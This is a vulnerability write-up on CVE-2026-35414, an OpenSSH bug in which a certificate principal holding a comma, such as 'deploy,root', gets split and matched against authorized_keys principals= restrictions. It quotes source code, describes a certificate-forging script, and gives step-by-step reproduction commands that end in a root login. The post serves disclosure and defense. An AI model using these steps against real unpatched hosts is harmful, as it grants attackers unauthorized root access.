SplitSSHell - When a Comma Becomes Root How a Single Character Broke OpenSSH Certificate Authentication
.png)
We found a principal-escalation vulnerability in OpenSSH's sshd certificate authentication. In deployments that trust a CA via cert-authority entries in authorized_keys, an attacker who can obtain a CA-signed certificate can bypass principal restrictions and authenticate as a different user - including root.
The root cause is a function call to match_list() that was used where strcmp() should have been.
In OpenSSH 5.6 through 10.2p1, the authorized_keys cert-authority,principals= path compared certificate principals with a list-matching helper that treats commas as separators. If a certificate contains one principal string such as deploy,root, the vulnerable path can split it into deploy and root. If root is allowed by the principals= option, authentication succeeds even though the certificate does not contain a principal exactly equal to root.
Key facts:
- CVE: CVE-2026-35414
- Fixed in: OpenSSH 10.3/10.3p1
- Affected path: user certificates trusted through cert-authority entries in authorized_keys with a principals= restriction
The bar is specific: the attacker needs a certificate signed by a CA trusted through the vulnerable authorized_keys path, and that CA or signing workflow has to allow a comma inside a principal string. No pre-auth magic is involved: no memory corruption, no unauthenticated network RCE, no kernel bug. Under those conditions, a scoped certificate can become a shell as another account, including root.
Why SSH Certificates Exist
Classic SSH public-key authentication does not scale well. A user’s public key is copied into ~/.ssh/authorized_keys on each server that should accept it. In a small environment this is fine. In a fleet, it becomes a key-distribution problem: every new user, every removed user, every rotated key, and every forgotten server needs direct state changes.
SSH certificates delegates the trust decision to a certificate authority. A user keeps their own key pair, but a CA signs the public key and produces a short-lived SSH user certificate. Servers trust the CA instead of storing every user key directly. Access can expire naturally after minutes or hours, and the server can make authorization decisions from certificate fields rather than from a pile of static public keys.
A user certificate contains the signed public key, a key ID, validity timestamps, optional restrictions, the CA signature, and a principals list. For user certificates, principals are the identities the certificate is allowed to authenticate as. A certificate with principal deploy should allow deploy@host. It should not allow root@host.

OpenSSH has two common ways to configure trust for user certificates.
The first is server-wide CA trust:
TrustedUserCAKeys /etc/ssh/user_ca.pub
AuthorizedPrincipalsFile .ssh/authorized_principals
In this model, sshd_config points to a CA public key. Principal restrictions are checked by the authorized-principals machinery or by matching the login username. When AuthorizedPrincipalsFile is used, auth_check_principals_line() compares complete certificate-principal strings with strcmp(). That is not the vulnerable path.
The second is per-key CA trust inside authorized_keys:
cert-authority,principals="root" ssh-ed25519 AAAA...CA_KEY...
This says: trust certificates signed by this CA, but only when the certificate principal matches root. This is useful when access control is still managed through per-user authorized_keys files, or when a deployment added CA trust incrementally instead of moving all user-certificate policy into sshd_config.
The vulnerable path is the second one:

For authoritative background on SSH certificate internals, see OpenSSH's PROTOCOL.certkeys; for operational configuration, see sshd_config(5) and ssh-keygen(1).
Where “deploy,root” gets split
The vulnerable code is match_principals_option() in auth2-pubkeyfile.c:
static int
match_principals_option(const char *principal_list, struct sshkey_cert *cert)
{
char *result;
u_int i;
/* XXX percent_expand() sequences for authorized_principals? */
for (i = 0; i < cert->nprincipals; i++) {
if ((result = match_list(cert->principals[i], ← The Problem
principal_list, NULL)) != NULL) {
debug3("matched principal from key options \"%.100s\"",
result);
free(result);
return 1;
}
}
return 0;
}The problem is the call to match_list(cert->principals[i], principal_list, NULL).
match_list() was built for comparing two comma-separated lists. That makes sense during SSH algorithm negotiation: one side might offer aes128-ctr,chacha20-poly1305, the other side might allow chacha20-poly1305,aes128-ctr, and the helper can split both lists on commas to find the shared item. In this example, the shared item is aes128-ctr.
Here, though, the first argument is not supposed to be a list. cert->principals[i] is one certificate-principal string. Passing it to a list helper means a comma inside that one principal can be treated as a separator:
#define MAX_PROP 40
#define SEP ","
char *
match_list(const char *client, const char *server, u_int *next)
{
char *sproposals[MAX_PROP], *p, *cp, *sp;
int i, j, nproposals;
cp = xstrdup(client);
sp = xstrdup(server);
/* Split the allowed principals list. */
for ((p = strsep(&sp, SEP)), i=0; p && *p != '\0';
(p = strsep(&sp, SEP)), i++) {
sproposals[i] = p;
}
nproposals = i;
/* Split the certificate principal too. */
for ((p = strsep(&cp, SEP)), i=0; p && *p != '\0';
(p = strsep(&cp, SEP)), i++) {
for (j = 0; j < nproposals; j++) {
if (strcmp(p, sproposals[j]) == 0) {
return xstrdup(p);
}
}
}
return NULL;
}That behavior is fine when both arguments are lists. It is wrong when one argument is an identity string.
If cert->principals[i] is the single string deploy,root, then match_list() treats it like a list:

But deploy,root is not equal to root. It is one certificate principal that happens to contain a comma.
The safe path in the same file uses the comparison that should have been used here. auth_check_principals_line() checks principals from AuthorizedPrincipalsFile like this:
/* Check principals in cert against those on line */
for (i = 0; i < cert->nprincipals; i++) {
if (strcmp(cp, cert->principals[i]) != 0)
continue;
debug3("%s: matched principal \"%.100s\"",
loc, cert->principals[i]);
found = 1;
}This treats each certificate principal as an opaque string. strcmp("root", "deploy,root") fails. Access is denied.
OpenSSH did check the certificate principals. The mistake was using a function whose idea of equality includes comma splitting.
Why Comparing `root` With Allowed `root` Is Enough
What happens is easier to see in two steps.
First, if principals= exists in authorized_keys, OpenSSH runs this check:
if (keyopts->cert_principals != NULL &&
!match_principals_option(keyopts->cert_principals, key->cert)) {
reason = "Certificate does not contain an authorized principal";
goto cert_fail_reason;
}That is the vulnerable check. It asks: does the certificate contain one of the principals allowed by the principals= option? But because match_principals_option() uses match_list(), a certificate principal such as deploy,root can be split, and the root fragment can match.
Then OpenSSH calls the general certificate-authority check:
if (sshkey_cert_check_authority_now(key, 0, 0,
keyopts->cert_principals == NULL ? pw->pw_name : NULL,
&reason) != 0)
goto cert_fail_reason;This looks like it might check the certificate principal again. The key detail is the fourth argument:
keyopts->cert_principals == NULL ? pw->pw_name : NULL
If principals= is set, then keyopts->cert_principals == NULL is false, so the fourth argument becomes NULL. In this path, the second check is effectively called like this:
sshkey_cert_check_authority_now(key, 0, 0, NULL, &reason)
Inside that function, name == NULL means: do not check the certificate principal against the login username. The function still checks other certificate properties, such as validity time, certificate type, key ID restrictions, and critical options, but principal matching is skipped:
if (name == NULL)
return 0; /* principal matching not requested */So the comma-splitting decision in match_principals_option() becomes the effective principal gate for this path. Once the split root fragment matches allowed root, the later authority check does not ask whether the original certificate principal was exactly root.
Why ssh-keygen Will Not Build The Payload
At this point, the exploit condition is clear: we need a user certificate whose principal list contains one principal string with a comma in it, for example deploy,root. The natural first attempt is to ask ssh-keygen to sign a certificate with that principal:
ssh-keygen -s ca_key -I test -n "deploy,root" user_key.pub
That does not create one principal named deploy,root. It creates two principals: deploy and root.
The reason is visible in ssh-keygen.c. The -n option stores the raw option string:
case 'n':
cert_principals = optarg;
break;
So after -n "deploy,root", cert_principals is the string deploy,root.
Later, while signing the certificate, ssh-keygen treats that string as a comma-separated list:
n = 0;
if (cert_principals != NULL) {
otmp = tmp = xstrdup(cert_principals);
plist = NULL;
for (; (cp = strsep(&tmp, ",")) != NULL; n++) {
plist = xreallocarray(plist, n + 1, sizeof(*plist));
plist[n] = xstrdup(cp);
}
}The important line is strsep(&tmp, ","). It turns the command-line string deploy,root into two tokens: deploy and root.
Those tokens are then stored as the certificate’s principal list:
public->cert->nprincipals = n;
public->cert->principals = plist;
This is why ssh-keygen -n "deploy,root" is not enough for the exploit. It produces:
Principals:
deploy
root
That certificate really contains root, so it does not test the bug. We need one principal string that contains a comma. The ssh-keygen CLI treats commas as separators, but the SSH certificate format stores principals as length-prefixed strings, where a comma is just another byte.
So we created a short Python script that builds exactly the certificate we need: one principal string containing deploy,root. The script is included in this report package as create_comma_cert.py - it uses Python’s cryptography package to load the Ed25519 CA key and sign the serialized certificate:
principals_inner = b''
for p in principals:
principals_inner += encode_cstring(p)
# ...
body += encode_string(principals_inner)
And the call site passes a one-element list:
cert_blob = build_ed25519_cert(
ca_privkey=ca_privkey,
user_pk_raw=user_pk_raw,
principals=[args.principals],
key_id=args.key_id,
serial=args.serial,
)If args.principals is deploy,root, the certificate receives one principal string containing a comma.
ssh-keygen -L confirms this because certificate display code iterates over key->cert->nprincipals and prints each stored principal on its own line:
printf(" Principals: ");
if (key->cert->nprincipals == 0)
printf("(none)\n");
else {
for (i = 0; i < key->cert->nprincipals; i++)
printf("\n %s",
key->cert->principals[i]);
printf("\n");
}For the crafted certificate, the output is one line:
Principals:
deploy,root
Crafted certificate with one comma-containing principal

The important part is the count: deploy,root is stored as one principal string.
Reproducing The Bug
The vulnerable server-side setup is an authorized_keys line for the target account. For a root-login lab, root’s authorized_keys contains a CA key restricted by principals="root":
cert-authority,principals="root" ssh-ed25519 AAAA...CA_PUBKEY...
Generate a CA key and a user key:
ssh-keygen -t ed25519 -f ca_key -N ""
ssh-keygen -t ed25519 -f user_key -N ""
Create a certificate with one principal string, deploy,root:
python3 report/blog/scripts/create_comma_cert.py \
--ca-key ca_key \
--user-pubkey user_key.pub \
--principals "deploy,root" \
--output user_key-cert.pub
Verify that the certificate contains one principal:
ssh-keygen -L -f user_key-cert.pub | grep -A2 Principals
Expected output:
Principals:
deploy,root
Connect as root:
ssh -o CertificateFile=user_key-cert.pub -i user_key root@target
On the vulnerable path, authentication succeeds. The server accepts the certificate because match_principals_option() passes deploy,root into match_list(), match_list() splits it into deploy and root, and the root fragment matches principals="root".
Two control tests make the boundary clear.
The first control removes the comma. A certificate whose only principal is deploy cannot log in as root, because there is no root value for the vulnerable list comparison to find.
The second control keeps the crafted deploy,root certificate but changes the trust path. When the CA is trusted through TrustedUserCAKeys and the allowed principal comes from AuthorizedPrincipalsFile, OpenSSH uses the safe principals-file check. That check compares deploy,root as one complete string, so it does not match root.
Demo: Logging In as root With the Crafted Certificate:

A Realistic Attack Chain
Lab PoCs with direct access to a CA key are useful, but they are not the interesting operational case. In real fleets, the question is usually who gets to ask the CA to sign a principal string.
Many SSH certificate deployments have a signing workflow. A CI job, deployment agent, bastion helper, or internal access service authenticates to a CA and requests a short-lived user certificate. The normal certificate might be scoped to deploy, backup, release, or another operational principal. The target servers trust that CA because the CA public key appears in authorized_keys with cert-authority,principals=....
An attacker who compromises that requester does not need to attack SSH cryptography. They ask the CA for a principal string containing a comma:
deploy,root
If the CA treats the requested principal as an opaque string and does not reject commas, it signs the certificate. The certificate is valid. Its signature is valid. Its validity window is valid. The only strange part is the principal string.
The attacker then connects to a bastion or production host:
ssh -o CertificateFile=user_key-cert.pub -i user_key root@bastion
On a vulnerable host using:
cert-authority,principals="root" ssh-ed25519 AAAA...CA_PUBKEY...
sshd accepts the login. The attacker now has an SSH session as root on that host.

From there, lateral movement depends on configuration. The same certificate can be reused against other hosts only if they trust the same CA through the affected authorized_keys path and their principals= restrictions match one of the comma-separated fragments. A fleet that uses TrustedUserCAKeys is not vulnerable to this bug. A host whose principals= value does not match any fragment is not unlocked by the same certificate. A CA that refuses comma-containing principals prevents this payload from being issued in the first place.
The impact is still serious where the conditions line up. Certificate-based SSH is commonly used precisely because one CA can grant access across many machines. If a CI identity that should only receive deploy certificates can obtain deploy,root, a scoped deployment credential can become root SSH access on every host with the matching vulnerable trust line.
There are public examples of large-scale SSH certificate systems: Netflix BLESS, Uber’s USSHCA work, GitHub Enterprise SSH certificate authorities, and HashiCorp Vault’s SSH secrets engine. Those examples show why this deployment model matters. They do not prove those organizations are vulnerable. Exploitability requires the exact affected OpenSSH trust path and a CA policy that allows the crafted principal.
Fix
OpenSSH 10.3 fixes the issue by replacing the match_list() use in this context. The correct model is:
- Split the server-controlled principals= option into allowed names.
- Compare each allowed name to each full certificate principal with strcmp().
- Never split certificate principal strings.
The fixed shape is:
static int
match_principals_option(const char *principal_list, struct sshkey_cert *cert)
{
char *list, *cp, *p;
u_int i;
list = cp = xstrdup(principal_list);
while ((p = strsep(&cp, ",")) != NULL && *p != '\0') {
for (i = 0; i < cert->nprincipals; i++) {
if (strcmp(p, cert->principals[i]) == 0) {
free(list);
return 1;
}
}
}
free(list);
return 0;
}Now principals="root" is still treated as a server-side list, but the certificate principal deploy,root remains one opaque string. strcmp("root", "deploy,root") fails.
The OpenSSH 10.3 release notes describe the issue as an incorrect algorithm used when matching an authorized_keys principals="" option against certificate principals, allowing inappropriate matching when a certificate principal contains a comma. The release notes describe the exploit condition as an authorized_keys principals="" option listing more than one principal and a CA issuing a certificate that encodes more than one of those names separated by a comma. The minimal example above uses principals="root" to show the same source-level mechanism: a certificate principal is split, and a fragment is compared against the server-side allowed-principal token. The release credits Vladimir Tokarev for the report.
Scope, Severity, And Constraints
The vulnerable code was introduced with the principals= key option for authorized_keys cert-authority entries and remained present from OpenSSH 5.6 through 10.2p1. The fix shipped in OpenSSH 10.3/10.3p1.
The CVE was initially published with a lower severity score. We asked NVD to reassess the impact using the source-level behavior and reproduction evidence; NVD later updated CVE-2026-35414 to 8.1 High (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H). We have also requested the corresponding MITRE/CNA metadata update and are waiting for that change to land. The practical attacker model in this article still requires a valid CA-signed certificate or access to a signing workflow that can produce one. On an affected host, the impact is high because successful exploitation grants an SSH session as the target account. If the target account is root, that is full control of the host.
The exploit only works when these conditions line up:
- The target must use authorized_keys cert-authority with principals=.
- The attacker must obtain a valid certificate from the trusted CA.
- The certificate must contain one principal string with a comma, such as deploy,root.
- The CA or signing workflow must allow that string to be issued.
- The target’s principals= value must match one of the fragments after comma splitting.
- The main TrustedUserCAKeys plus AuthorizedPrincipalsFile certificate-authentication path is not affected by this bug.
For immediate exposure checks, search for the affected trust pattern:
grep -r "cert-authority.*principals=" /home/*/.ssh/authorized_keys /root/.ssh/authorized_keys 2>/dev/null
That grep is exposure mapping, not exploit detection. In many default setups, sshd will not give you a clean “malicious principal” log line; a successful exploit is still logged as successful authentication.
Disclosure
The issue was reported to OpenSSH on March 28, 2026. It was acknowledged quickly, patched, and released in OpenSSH 10.3/10.3p1 on April 2, 2026.
The Mistake Was Reusing match_list()
match_list() answers a negotiation question: did the client and server choose the same item from two comma-separated proposal lists?
strcmp() answers an authorization question: is this exact identity string the name we allow?
Reusing the first question for the second is how one certificate principal, deploy,root, became an accepted login as root.

.avif)

